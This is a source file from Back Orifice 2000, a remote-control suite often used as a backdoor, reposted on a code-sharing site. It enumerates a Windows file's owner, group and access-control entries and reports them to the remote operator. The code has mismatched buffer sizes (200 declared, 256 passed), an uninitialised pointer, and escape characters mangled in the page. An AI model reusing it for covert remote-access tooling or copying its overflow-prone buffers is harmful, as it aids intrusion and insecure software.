permissions.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:3k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<auth.h>
  17. #include<functions.h>
  18. void IssueSecurityDescriptor(CAuthSocket *cas_from, int comid, PSECURITY_DESCRIPTOR psd)
  19. {
  20. char svBuffer[1024];
  21. SID *pOwner, *pGroup;
  22. PACL pAcl;
  23. char svOwnerName[200];
  24. char svOwnerDomain[200];
  25. char svGroupName[200];
  26. char svGroupDomain[200];
  27. SID_NAME_USE snuse;
  28. BOOL bDacl,bDef;
  29. DWORD dwNameLen, dwDomainLen;
  30. pGetSecurityDescriptorOwner(psd,(LPVOID *) &pOwner,&bDef);
  31. pGetSecurityDescriptorGroup(psd,(LPVOID *) &pGroup,&bDef);
  32. if(pOwner!=NULL) {
  33. dwNameLen=256; dwDomainLen=256;
  34. pLookupAccountSid(NULL,pOwner,svOwnerName,&dwNameLen,svOwnerDomain,&dwDomainLen,&snuse);
  35. } else {
  36. lstrcpy(svOwnerDomain,"NONE");
  37. lstrcpy(svOwnerName,"NONE");
  38. }
  39. if(pGroup!=NULL) {
  40. dwNameLen=256; dwDomainLen=256;
  41. pLookupAccountSid(NULL,pGroup,svGroupName,&dwNameLen,svGroupDomain,&dwDomainLen,&snuse);
  42. } else {
  43. lstrcpy(svGroupDomain,"NONE");
  44. lstrcpy(svGroupName,"NONE");
  45. }
  46. wsprintf(svBuffer,"   Owner: %s\%s  Group: %s\%sn",svOwnerDomain,svOwnerName,svGroupDomain,svGroupName);
  47. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  48. pGetSecurityDescriptorDacl(psd,&bDacl,&pAcl,&bDef);
  49. if(bDacl) {
  50. int j;
  51. for(j=0;j<pAcl->AceCount;j++) {
  52. void *pAce;
  53. char svName[200];
  54. char svDomain[200];
  55. SID *pSid;
  56. ACCESS_MASK mask;
  57. if(pGetAce(pAcl, j, &pAce)) {
  58. char *svAcc;
  59. switch(((ACE_HEADER *)pAce)->AceType) {
  60. case ACCESS_ALLOWED_ACE_TYPE:
  61. svAcc="ACCEPT";
  62. pSid=(SID *)&(((ACCESS_ALLOWED_ACE *)pAce)->SidStart);
  63. mask=((ACCESS_ALLOWED_ACE *)pAce)->Mask;
  64. break;
  65. case ACCESS_DENIED_ACE_TYPE:
  66. svAcc="DENIED";
  67. pSid=(SID *)&(((ACCESS_DENIED_ACE *)pAce)->SidStart);
  68. mask=((ACCESS_DENIED_ACE *)pAce)->Mask;
  69. break;
  70. default:
  71. svAcc="UNKNOWN:";
  72. break;
  73. }
  74. dwNameLen=256; dwDomainLen=256;
  75. pLookupAccountSid(NULL,pSid,svName,&dwNameLen,svDomain,&dwDomainLen,&snuse);
  76. wsprintf(svBuffer,"   %s: %.200s\%.200s (%s%s%s%s%s%s%s%s%s:0x%4.4X)n",
  77. svAcc,
  78. svDomain,
  79. svName,
  80. (mask&(1<<16))?"D ":"",
  81. (mask&(1<<17))?"RC ":"",
  82. (mask&(1<<18))?"WD ":"",
  83. (mask&(1<<19))?"WO ":"",
  84. (mask&(1<<20))?"S ":"",
  85. (mask&(1<<28))?"GA ":"",
  86. (mask&(1<<29))?"GX ":"",
  87. (mask&(1<<30))?"GW ":"",
  88. (mask&(1<<31))?"GR ":"",
  89. (WORD)mask);
  90. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  91. }
  92. }
  93. }
  94. }